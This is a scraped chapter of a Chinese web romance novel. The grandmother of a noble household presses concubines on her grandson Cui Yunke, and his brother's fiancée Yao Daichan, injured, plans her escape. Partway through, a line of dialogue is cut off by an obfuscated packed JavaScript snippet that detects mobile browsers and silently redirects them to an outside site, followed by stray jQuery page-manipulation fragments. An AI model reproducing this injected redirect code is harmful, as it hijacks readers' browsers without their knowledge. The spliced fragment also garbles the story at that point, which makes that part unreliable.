9. 第 9 章

作品:《被未婚夫他弟强取豪夺后

    福绵堂,未见人先闻声。


    老夫人年逾古稀,走路还稳当。崔云柯扶她坐下,斟茶半盏,瓷罐中舀半勺蜜添入。


    老夫人一生刚烈,茶也只喝最苦的,近年才渐渐习惯加蜜。


    “人老了,没用了。”老夫人感慨,“好不容易来了,多陪我说说话。”


    崔云柯笑笑,“何敢怠慢祖母。”


    上回匆忙回府,崔云柯只顾将雪莲山参等东西送到,凳子没坐热就走了人,老夫人一直心有不满。


    闻得今日休沐,一早就等着孙儿来拜会,偏又叫何家的丫头拦路。老夫人便差润香去解围,倒是及时。


    祖孙二人吃茶谈天,润香崔禄一旁时不时插嘴逗乐,福绵堂里温馨得很。


    然日头刚斜,崔禄背在身后的食指悄摸打起拍子来。


    一打打到十,老夫人话头果然一调:


    “你回来前我去过青云观,正见了你娘。她不是不关照你,只是远离尘俗久了,不大能理这些东西。我便知会她一声,做主给你选了个四个通房。”


    薛夫人性情泊然,从不关注此事。故而,老夫人不过是自作主张。


    崔云柯焉不知祖母作风,怫然蹙额。


    润香却已拍手,“都来见过二爷。”


    堂中立时踱进四个精心打扮的美人,含羞带怯唤了声。清脆的嗓儿听得老夫人直满意,道了声“不错”。


    “都是这半年来精挑细选的良家姑娘,顶齐整。你也是要吃饭喝水的,不能真当个谪仙。”见崔云柯不动,老夫人不由催促:“持玉。”


    几道灼热视线一齐射来,崔云柯指骨一屈,淡道:“不用。”


    老夫人不赞同:“你看都不看一眼就定了论?我老婆子的人就这般上不了台面?”


    崔禄赶忙打岔:“老夫人,咱家二爷自小就喜清净,您这一送就是四个,爷不得被叨扰死了!”


    老夫人嗔他眼,“你这小东西,倒替你家爷做起主了。玉磬院那规格,一人住一间,扰到哪里去?”说着一瞅崔云柯。


    崔云柯轻叹:“朝中繁杂,暂无心此事。还是延后再说。”


    “又拿公务搪塞我!”老夫人不死心:


    “你同祖母说说,你喜欢什么样的?若拿不准就看看揽芳阁。你大哥是会享受的,环肥燕瘦一个不缺。”


    祖母语不惊人死不休。万幸崔云柯习惯了,只无言了片刻便道:“兄长的人,岂能容他人窥探。祖母莫要拿孙儿打趣了。”


    老夫人佯怒,“罢,我死前怕也见不到重孙!同你祖父谁也不占便宜!”


    此话便有些严重了,润香忙道:“老太太这是说什么呢!礼香苑的娘子不好端端在那里么?等大爷回来一成婚,您心心念念的长孙明年不就呱呱落地了?没两年,二爷的孩儿也出来了。您说是不是,二爷?”润香殷切地看来。


    崔禄眼儿一鼓,心道这是哪壶不开提哪壶。


    爷正不想听礼香苑那位呢!


    方才拂月塘沉沉一眄,二爷的不悦他全看在眼里。一路上心有戚戚不敢吱声。


    也是他大意,躲在垂花门后本是想防何采莲,孰料何采莲是跑了,可堂堂大嫂往小叔怀里扑…还不如换何采莲呢!


    崔禄忐忑偷瞟崔云柯反应——二爷眸光凝着于一处,指尖有一搭没一搭点动。


    显然有些不耐。


    他噤声,老老实实没接话。


    老太太同润香一唱一和了阵,就是等不到次孙张口,便也不装了,语重心长道:


    “你和你大哥都是我的孙儿,我都爱,从不偏心哪个。持玉,你是知道的。”


    崔云柯:“是。”


    老太太喟叹:“你祖父从来都赞许你,可礼法在前,你嫡母和镇国公府都闹,这也没办法。你祖父去前盼的是什么,你不曾忘记,可对?”


    兄友弟恭,家和兴旺。


    “孙儿不敢忘。”


    “记得就好。如今,你们都是成家立业的人了,再有恩怨,也先看在振兴侯府的份上稍稍。我老了,小辈的事管不得什么,我心里知道。”老夫人慈爱地拍拍孙儿肩头,“都长得比你们祖父还要高了。”


    老夫人一高兴,话也多,“何氏和她那侄女都是小心眼的。你这准嫂嫂倒和我盼望的差不离,才几日,和善亲切的好名声都传到我这里来了。不枉我还念着两家旧情,传信给你爹。”


    崔云柯略意外:“是祖母定的人?”


    老夫人得意:“我虽老,眼力却不差。侯府当年姬妾不宁,多亏了那位姚家续弦护住你祖父,才将整个家撑到如今。再看几日,她若也是会经营的,与你大哥将来定也能和和美美。届时多养几个孩子,往后和你的儿孙一齐传下侯府,我死也瞑目。”


    “你见过了她了没有?听说生得比传言里好得多?”


    被老夫人如此追问,崔云柯眼前不可避免跃出双水泽盈润的杏眸,翘长芳毫盈盈一眨,滴在衣襟上的泪仿佛还正湿热。异样的温软,似也犹存。


    他眉头骤然聚拢,不自觉有几分冷意:“……尚可。”


    “那就是很不错了,改日我也见见。”老夫人心情舒爽,“这四个美人当真一个都不要?”


    “还是给兄长罢。”


    “你这孩子!”老夫人摇摇头,“开饭!”


    菜肴都是时令的上等食材,闻着就令人食指大动。然今日崔云柯胃口缺缺,老夫人几番添菜都不曾用下。


    老夫人正奇怪,外头小丫鬟传话:


    “老夫人,礼香苑的娘子脚痛得厉害,芬儿说红花油不抵用,怕伤了骨头,求咱们赏些好的!”


    老夫人顿时一放筷子,“青翡这老东西!仗着有何氏撑腰无法无天了!将我库里的药送去!”


    润香为难:“咱库里的药才给了赶车的马四儿,还没续上呢。”


    “这,”老夫人沉吟须臾,也一时半刻寻不到法子。看了一圈儿,只有那目不斜视的次孙有这个本事。然他未主动发话,老夫人也有些拿不准:“持玉?”


    崔云柯慢斯条理放了碗,拭了手,才道:


    “孙儿有一味金疮药。”


    老夫人微讶,复又笑,“我不问,你还不肯说了。又不是讨来私藏的,是给你准大嫂用。你年岁越大,还越发小气了。”


    “……自不是心疼一瓶药。我若直言,怕于礼不合。祖母送,既全了礼数,也免了闲话,主院亦说不得什么。更保侯府名声。”


    他这般一分说,老夫人深以为然:“还是持玉周到。”


    “你大哥回来见未婚妻被照料得这般好,定要感激你。”


    崔云柯唇角淡淡牵了牵,长睫覆下,“祖母不妨再派个可靠的去盯着。”


    府里的老滑头惯会抽油水,何氏明摆着不喜礼香苑,自然有青翡这等人上行下效耍手段。老夫人也思量过此事,孙儿一开口,便直接吩咐了下去。又叫润香传话:


    “府中筹办婚仪日益繁忙,有些事不提确也顾不上。叫她宽宽心安心待嫁。过两天脚好些,到我这走一趟。”


    解决这插曲,老夫人笑起来,“你爹也是。四年了,光会写信。他说尽快到,这尽快尽快,到底是多快?还有你大哥,这一趟到底做什么去了?知道自己要有媳妇儿了,还不赶紧回来,这可不像他。”


    老夫人老了,想起府中十几年没有过喜事,眉眼就禁不住弯起,又催着崔云柯多吃两口菜。


    崔云柯慢慢呷茶,良久,极平静道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058064|194916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “总归要回来的。”


    府中下人多在午憩。


    回路上,崔禄小心观察崔云柯。几次欲出声,然不知是不是错觉,总觉他出福绵堂后脸上就覆了层寒霜。


    崔禄五味杂陈,被那女子这般冒犯,泥人也有三分气,二爷这是竭力克制着,隐而不发。


    这种时候发话,是找麻烦呢。


    便眼观鼻鼻观心,识相地装不知。


    湘儿在睡,崔云柯未曾叫醒人,这烧水的担子就落到了崔禄头上。


    往灶里塞一把柴,崔禄抹着汗哀叹倒霉。好在天气转热,热水一锅就成。抱起屏风后的衣裳,崔禄低头嗅嗅,好似有股皂荚味?


    想是湘儿偷懒,熏香没够时候。待那小子醒了定要骂一声。


    崔禄转向屏风:“爷,这身衣裳…是丢了?”


    里头动静一停,崔云柯的声音裹着蒸腾水汽,冷得出奇:“烧了。”


    又烧?


    崔禄琢磨,二爷虽喜洁,却不是那等故意铺张之人。以往脏污了多洗几遍就成,实在不行丢了便是。


    烧,真是极罕见了。


    他不免想起那惊天骇地的一扑,心下一激灵。


    二爷这回,是真正动了怒。


    丝绸焚烧的臭气漾动在院子。崔禄将盆拿远了些,执火钳小心拨弄。


    并未发现,正房窗户无声被抬起。


    崔云柯看着那道扭动的火焰多时,直至彻底化为灰烬,再掀不起一丝火点,方才漠然背身。


    将未尽的气息全数拒之门外。


    -


    福绵堂的东西不久就送到了礼香苑。


    姚黛蝉正惶惶忧心后路,门陡然一敲,心里再波浪滔天也压下来,端正面色允人入内。


    芬儿与一十四五的陌生丫鬟跟在润香后头。润香对姚黛蝉福身,利索将老夫人的话传达。


    姚黛蝉一愣,见芬儿对她使眼色。瞬时就想起她的背景,很快反应过来,连连感谢老妇人和润香。


    “娘子安心养伤就是,若有缺漏,遣人来福绵堂说一声便可。您马上是侯府长媳,不必事事忍让。”润香制止她起身,又宽慰一番,点了绛儿的名便离开了。


    绛儿应声上前。她生一张十分大众的方圆脸,但举止持重,看着便是可靠之人。


    姚黛蝉对她笑说了声谢,绛儿细致观察了遍右足上的肿包,上了药,对姚黛蝉道:“幸未伤及骨头,娘子这五六日内不可跑跳。”


    脚踝原本只是肿罢了,这包块还得多谢何采莲的苔石,姚黛蝉刚迈入礼香苑的门槛,忽然摔了一跤,才发现多了块拳头大包,吓得芬儿慌忙出门求救,招来了老夫人。主院,必然要不满了。


    姚黛蝉点点头。丫鬟们退下,留她休息。然门一阖,她一张面孔顷时转沉。


    今日冒险无疑是失败了。


    姚黛蝉不怕做棋子,却怕不明不白做了棋子。


    崔云柯不直面回答,起先寄放在他身上的所有计划便等同作废。


    单靠自己出不去…有谁可用?


    大人物们她不抱期望。府中最希望她走的…姚黛蝉只能想到揽芳阁。


    可揽芳阁的姬妾不过是一群锁了脚的金丝雀。


    姚黛蝉面上青一阵白一阵,难道真要被困在这儿了?


    气急之下,胸前倏而又是一痛。


    姚黛蝉咬牙抚了抚,撞上崔云柯便没有好事!


    她未出阁,又不是侯府里的真主子,此类隐疾怎能对侯府启齿,少不得被私下嚼舌根。


    只能找女医。


    女医……


    女医?


    姚黛蝉蓦地坐直身体,“芬儿,绛儿!”


    “我…有事要麻烦你们。”